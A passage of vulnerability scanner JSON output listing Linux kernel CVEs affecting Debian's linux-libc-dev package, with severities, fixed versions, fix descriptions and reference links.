gadget device release callback\nhandle the final free. This issue was found by a static analysis tool\nI am developing.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64242", "https://git.kernel.org/linus/c8547c74988e0b5f4cbb1b895e2a57aae084f070%20%287.1-rc6%29", "https://git.kernel.org/stable/c/085652fda7f38040d1a2c42d72614f418feb843f", "https://git.kernel.org/stable/c/48f89ead20e48d447ad29fa937b43b9fa981cf28", "https://git.kernel.org/stable/c/550fa4d071a8c8e53072900869d37ae6abf4999d", "https://git.kernel.org/stable/c/71b3391dc81655ff058492f8e9d013b2c6e5747b", "https://git.kernel.org/stable/c/c5b9fdb1e8ddf50bc6272927edb118679f170350", "https://git.kernel.org/stable/c/c8547c74988e0b5f4cbb1b895e2a57aae084f070", "https://git.kernel.org/stable/c/db2b72e83a0208ae2b3b270bf91662b1c6849a9b", "https://git.kernel.org/stable/c/e6f8be12f0307145b9a6010f044925952b37de8b", "https://lore.kernel.org/linux-cve-announce/2026072442-CVE-2026-64242-29e0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64242", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64242" ], "PublishedDate": "2026-07-24T16:16:53.553Z", "LastModifiedDate": "2026-08-13T17:22:29.77Z" }, { "VulnerabilityID": "CVE-2026-64246", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64246", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6aa51cd43d9e45ec30f6779ca56675b9b4c64ccbfca64e515d4fddb1730c9964", "Title": "kernel: power: reset: linkstation-poweroff: fix use-after-free in the linkstation_poweroff_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: reset: linkstation-poweroff: fix use-after-free in the linkstation_poweroff_init()\n\nMove of_node_put(dn) after the of_match_node() call, which still needs\nthe node pointer. The node reference is correctly released after use.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64246", "https://git.kernel.org/linus/8eec545cde69e46e9a1d2b7d915ce4f5df85b3bd%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2205275be9be981e70ff29610b0117d8853fac70", "https://git.kernel.org/stable/c/3928ae803dee044b01076c478c279c0bd54164cd", "https://git.kernel.org/stable/c/8eec545cde69e46e9a1d2b7d915ce4f5df85b3bd", "https://git.kernel.org/stable/c/93c7ee139721936b6fa717572e74d3994603ae13", "https://git.kernel.org/stable/c/c04d606f8b35ee7d3ed243f63893a607e9d6c0bc", "https://git.kernel.org/stable/c/cdda7d384c05485a232ae9a849f6445accb095bf", "https://git.kernel.org/stable/c/d109e72f3fbccb540473285d17d7519584f7f76e", "https://lore.kernel.org/linux-cve-announce/2026072418-CVE-2026-64246-4a2c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64246", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64246" ], "PublishedDate": "2026-07-24T16:16:54.03Z", "LastModifiedDate": "2026-08-17T05:17:22.85Z" }, { "VulnerabilityID": "CVE-2026-64249", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64249", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:550aee4737e6ec6cdbd468dcec676802a23586d1ba808ff5718d1e3c97b6f0b3", "Title": "kernel: fpga: region: fix use-after-free in child_regions_with_firmware()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfpga: region: fix use-after-free in child_regions_with_firmware()\n\nMove of_node_put(child_region) after the error print to avoid accessing\nfreed memory when pr_err() references child_region.\n\n[ Yilun: Fix the Fixes tag ]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64249", "https://git.kernel.org/linus/54f3c5643ec523a04b6ec0e7c19eb10f5ebebdd3%20%287.2-rc1%29", "https://git.kernel.org/stable/c/070b0ce947b18fa3dec0729695147f7e19599649", "https://git.kernel.org/stable/c/369496d885b4cf6e8647cf4dc5cf3ac68fdf37a1", "https://git.kernel.org/stable/c/54f3c5643ec523a04b6ec0e7c19eb10f5ebebdd3", "https://git.kernel.org/stable/c/5e098e40e8bac43ed58645c10d5fad781966efe4", "https://git.kernel.org/stable/c/866184fc7ae42a0070f1141ae8c5dca7c24a59e2", "https://git.kernel.org/stable/c/e79afcb0a66d2b3c33e510eade902537e656fc00", "https://git.kernel.org/stable/c/e918942bcc5355ad5b44ba557935dffc0727b0eb", "https://git.kernel.org/stable/c/fbaf509ad7cb2f7dafe73ca20c956104cfcc9d68", "https://lore.kernel.org/linux-cve-announce/2026072419-CVE-2026-64249-9700@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64249", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64249" ], "PublishedDate": "2026-07-24T16:16:54.45Z", "LastModifiedDate": "2026-08-17T05:17:23.283Z" }, { "VulnerabilityID": "CVE-2026-64268", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64268", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a3e5d4d11e72e61c9f87341c335c2a8cbf9991bcb9719312276fc23fa2f098ef", "Title": "kernel: Kernel: Remote out-of-bounds write in RDMA/siw", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: bound Read Response placement to the RREAD length\n\nIn drivers/infiniband/sw/siw/siw_qp_rx.c, siw_proc_rresp() places each\ninbound Read Response DDP segment at sge-\u003eladdr + wqe-\u003eprocessed and then\naccumulates wqe-\u003eprocessed, but it never checks the running total against\nthe sink buffer length on continuation segments. siw_check_sge() resolves\nand validates the sink memory only on the first fragment (the if (!*mem)\nbranch), and siw_rresp_check_ntoh() compares the cumulative length against\nwqe-\u003ebytes only on the final segment (the !frx-\u003emore_ddp_segs guard).\n\nA connected siw peer that answers an outstanding RREAD with Read Response\nsegments that keep the DDP Last flag clear, carrying more total payload\nthan the RREAD requested, drives wqe-\u003eprocessed past the validated sink\nbuffer; the next siw_rx_data() call writes out of bounds at\nsge-\u003eladdr + wqe-\u003eprocessed. siw runs iWARP over ordinary routable TCP,\nso the peer is the remote end of an established RDMA connection and needs\nno local privilege.\n\nBound every segment before placement, exactly as siw_proc_send() and\nsiw_proc_write() already do for their tagged and untagged paths, and\nterminate the connection with a base-or-bounds DDP error when the\nRead Response would overrun the sink buffer.\n\nThis is the second receive-path length fix for this file. A separate\nchange rejects an MPA FPDU length that underflows the per-fragment\nremainder in the header decode; that guard does not cover this case,\nbecause here each individual segment length is self-consistent and only\nthe accumulated placement offset overruns the buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64268", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/7d29f7e9dbd844cae4d3e559cf78324b9642fd6b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3ef7e052cbd05a8b13a51a07b185a39ec93ee1cf", "https://git.kernel.org/stable/c/423a78ff7928c2601013f73ec6d896f5597d0df5", "https://git.kernel.org/stable/c/595e6537ad1a210da32cbb9a7f91aa73090915ba", "https://git.kernel.org/stable/c/6bc89f34a4597f9f6d41f7a60c67a3153bfe8851", "https://git.kernel.org/stable/c/75c93cd3c421890f49ea93f0b978b9b7bb10e5e3", "https://git.kernel.org/stable/c/7d29f7e9dbd844cae4d3e559cf78324b9642fd6b", "https://git.kernel.org/stable/c/a31b6d18ded3cc32d9ee85a6ff0726d4274887b2", "https://git.kernel.org/stable/c/b2e26c955f8dd7e8d3f16c858db05245ea4fa817", "https://linux.oracle.com/cve/CVE-2026-64268.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026072559-CVE-2026-64268-629a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64268", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64268" ], "PublishedDate": "2026-07-25T10:17:07.013Z", "LastModifiedDate": "2026-10-19T21:17:28.783Z" }, { "VulnerabilityID": "CVE-2026-64270", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64270", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e6990e4fa6db71d83026fc8de981026fcb4238c98da38f81314cbb6197c4d780", "Title": "kernel: Input: mms114 - reject an oversized device packet size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: mms114 - reject an oversized device packet size\n\nmms114_interrupt() reads a packet of touch data from the device into a\nfixed-size on-stack buffer\n\n\tstruct mms114_touch touch[MMS114_MAX_TOUCH];\n\nwhich holds MMS114_MAX_TOUCH (10) events of MMS114_EVENT_SIZE (8) bytes,\ni.e. 80 bytes. The length of the I2C read into it is taken verbatim from\nthe device:\n\n\tpacket_size = mms114_read_reg(data, MMS114_PACKET_SIZE);\n\tif (packet_size \u003c= 0)\n\t\tgoto out;\n\t...\n\terror = __mms114_read_reg(data, MMS114_INFORMATION, packet_size,\n\t\t\t(u8 *)touch);\n\npacket_size is a single device register byte (0x0F) and the only check\nis the lower bound packet_size \u003c= 0; it is never bounded against the\nsize of touch[]. A malfunctioning, malicious or counterfeit controller\n(or an attacker tampering with the I2C bus) can report a packet_size of\nup to 255, so __mms114_read_reg() writes up to 175 bytes past the end of\ntouch[] on the IRQ-thread stack: a stack out-of-bounds write that can\noverwrite the stack canary, saved registers and the return address.\n\nA well-formed device never reports more than the buffer holds, so reject\nan oversized packet and drop the report, consistent with the handler's\nother error paths, rather than reading past the buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64270", "https://git.kernel.org/linus/66725039f7090afe14c31bd259e2059a68f04023%20%287.2-rc1%29", "https://git.kernel.org/stable/c/040843281eebfa110d08fd7fb083fe6cb55cea14", "https://git.kernel.org/stable/c/39b12daf1adb80f9595fdfe584961deb80860cbb", "https://git.kernel.org/stable/c/5d2ea15ba03bf17ed143ff1a0995a4206edc3fb6", "https://git.kernel.org/stable/c/66725039f7090afe14c31bd259e2059a68f04023", "https://git.kernel.org/stable/c/8301c335305344d4da4ab9442b6a399dacfe5b8d", "https://git.kernel.org/stable/c/b78150729762d47c14fe29a2582bdca5568e62b8", "https://git.kernel.org/stable/c/d99ba93c35ff2d5276e9c2632967481bd53a79d0", "https://git.kernel.org/stable/c/f3d5e77b27fded71dcb97f409262bf0abba0410e", "https://linux.oracle.com/cve/CVE-2026-64270.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026072559-CVE-2026-64270-35c7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64270", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64270" ], "PublishedDate": "2026-07-25T10:17:07.293Z", "LastModifiedDate": "2026-11-06T17:18:44.497Z" }, { "VulnerabilityID": "CVE-2026-64271", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64271", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b1c5724a9f1fe417a8b7a6965b17cdfb2bc4edd112643b0cda049cbade083ff", "Title": "kernel: Input: touchwin - reset the packet index on every complete packet", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: touchwin - reset the packet index on every complete packet\n\ntw_interrupt() accumulates each non-zero serial byte into a fixed\nthree-byte buffer with a running index that is only reset once a full\npacket has been received *and* the device's two Y bytes agree:\n\n\ttw-\u003edata[tw-\u003eidx++] = data;\n\tif (tw-\u003eidx == TW_LENGTH \u0026\u0026 tw-\u003edata[1] == tw-\u003edata[2]) {\n\t\t...\n\t\ttw-\u003eidx = 0;\n\t}\n\nThe reset is gated on tw-\u003edata[1] == tw-\u003edata[2], a value the device\ncontrols. A malicious, malfunctioning or counterfeit Touchwindow\nperipheral can stream non-zero bytes whose 2nd and 3rd bytes differ: the\nindex reaches TW_LENGTH without the equality holding, is never reset, and\nkeeps growing, so tw-\u003edata[tw-\u003eidx++] walks off the end of the three-byte\narray and the rest of the heap-allocated struct tw, one attacker-chosen\nbyte at a time -- an unbounded, device-driven heap out-of-bounds write.\n\nReset the index on every completed packet and report an event only when\nthe two Y bytes match, like the other serio touchscreen drivers do.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64271", "https://git.kernel.org/linus/478cdd736f2ce3114f90e775d7358136d3977b94%20%287.2-rc1%29", "https://git.kernel.org/stable/c/044167cba2384bcd783547ad5e30ecd292b30919", "https://git.kernel.org/stable/c/3e6f007b43e2fc6546e21fa74ee62c38984a6672", "https://git.kernel.org/stable/c/431ad239f2924dff337c3fccb9246597c1b63185", "https://git.kernel.org/stable/c/478cdd736f2ce3114f90e775d7358136d3977b94", "https://git.kernel.org/stable/c/6c9f29f128dd4057404838259af4c645318487e1", "https://git.kernel.org/stable/c/70e4248793762df9832fd4fc2fc6ac7924572c36", "https://git.kernel.org/stable/c/a8d87184576c889759e3aab899799a482f1e1a5b", "https://git.kernel.org/stable/c/ed9b66905407eb3d02df1aaeed82eb7a7f0eb508", "https://linux.oracle.com/cve/CVE-2026-64271.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072559-CVE-2026-64271-b6b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64271", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64271" ], "PublishedDate": "2026-07-25T10:17:07.41Z", "LastModifiedDate": "2026-11-06T17:18:44.697Z" }, { "VulnerabilityID": "CVE-2026-64272", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64272", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f58af8bb0c1b817d4351f5791bb1970f656b02e08b9ce15bc0e9f11955fa473d", "Title": "kernel: Input: mms114 - fix touch indexing for MMS134S and MMS136", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: mms114 - fix touch indexing for MMS134S and MMS136\n\nThe MMS134S and MMS136 touch controllers have an event size 